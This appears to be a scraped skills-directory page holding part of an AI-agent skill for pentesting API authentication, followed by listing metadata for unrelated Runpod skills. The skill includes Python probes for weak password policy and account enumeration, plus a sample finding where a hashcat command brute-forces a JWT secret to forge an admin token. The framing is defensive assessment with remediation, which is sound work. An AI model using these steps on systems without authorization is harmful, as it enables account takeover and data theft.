\"password\",    # Common password\n    \"12345678\",    # Numeric only\n    \"abcdefgh\",    # Alpha only, no complexity\n    \"Password1\",   # Meets basic complexity but is common\n    \"\",            # Empty\n    \" \",           # Whitespace\n]\n\nfor pwd in weak_passwords:\n    resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Fregister\",\n        json={\"email\": f\"test_{hash(pwd)%9999}@example.com\",\n              \"password\": pwd, \"name\": \"Test User\"})\n    if resp.status_code in (200, 201):\n        print(f\"[WEAK POLICY] Password accepted: '{pwd}'\")\n\n# Test account enumeration via login response differences\nvalid_email = \"testuser@example.com\"\ninvalid_email = \"nonexistent_user_xyz@example.com\"\n\nresp_valid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": valid_email, \"password\": \"wrongpassword\"})\nresp_invalid = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"username\": invalid_email, \"password\": \"wrongpassword\"})\n\nif resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:\n    print(f\"[MEDIUM] Account enumeration possible:\")\n    print(f\"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}\")\n    print(f\"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |\n| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |\n| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |\n| **Credential Stuffing** | Automated attack using leaked username\u002Fpassword pairs against authentication endpoints |\n| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |\n| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |\n\n## Tools & Systems\n\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes\n- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing\n- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)\n- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing\n- **Nuclei**: Template-based scanner with authentication bypass detection templates\n\n## Common Scenarios\n\n### Scenario: SaaS Platform API Authentication Assessment\n\n**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.\n\n**Approach**:\n1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role\n2. Test alg:none bypass: server rejects the token (secure)\n3. Brute force the HMAC secret: discover the secret is \"company-jwt-secret-2023\" (found using hashcat with custom wordlist)\n4. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints\n5. Test token revocation: tokens remain valid after logout and password change (no blacklist)\n6. Test refresh token: refresh token has no expiration and can be reused indefinitely\n7. Find that the password reset endpoint returns different messages for valid vs invalid emails\n8. Discover that the `\u002Fhealth` and `\u002Fmetrics` endpoints are accessible without authentication\n\n**Pitfalls**:\n- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows\n- Not checking if the JWT secret is the same across all environments (dev, staging, production)\n- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week\n- Not testing for token leakage in server logs, URL parameters, or error messages\n\n## Output Format\n\n```\n## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable\n\n**ID**: API-AUTH-001\n**Severity**: Critical (CVSS 9.1)\n**OWASP API**: API2:2023 - Broken Authentication\n**Affected Components**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin (token issuance)\n  - All authenticated endpoints (token validation)\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogout (ineffective)\n\n**Description**:\nThe API uses HS256-signed JWT tokens with a brute-forceable secret\n(\"company-jwt-secret-2023\"). An attacker who discovers this secret can\nforge tokens for any user with any role, including admin. Additionally,\ntokens are not revocable - logout does not invalidate the token server-side,\nand the 7-day expiration means stolen tokens remain valid for extended periods.\n\n**Attack Chain**:\n1. Capture any valid JWT from authenticated session\n2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt\n3. Secret recovered in 3 minutes: \"company-jwt-secret-2023\"\n4. Forge admin JWT: modify \"role\" claim to \"admin\", re-sign with discovered secret\n5. Access admin endpoints: GET \u002Fapi\u002Fv1\u002Fadmin\u002Fusers returns all 50,000 user accounts\n\n**Remediation**:\n1. Replace HS256 with RS256 using a 2048-bit RSA key pair\n2. Use a cryptographically random secret of at least 256 bits if HMAC must be used\n3. Implement token blacklisting using Redis for logout and password change events\n4. Reduce token TTL to 15 minutes with refresh token rotation\n5. Add `iss` and `aud` claims validation to prevent token misuse across services\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":26,"description":40,"mitre_attack":41},[26,27,28,29,30,31],"api-security","owasp","authentication","jwt","session-management","credential-security","mahipal","cybersecurity","1.0.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.\n",[42,43,44,45,46],"T1190","T1059.007","T1552.001","T1003","T1110","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Ftesting-api-authentication-weaknesses","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add NeelakshSaxena\u002FVayu --skill testing-api-authentication-weaknesses",{"tool":60,"command":61},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill testing-api-authentication-weaknesses",{"tool":63,"command":64},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill testing-api-authentication-weaknesses","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",1805,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",8457,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Ftesting-api-authentication-weaknesses\u002Fscripts\u002Fagent.py",[85,92,99,106,113,120],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]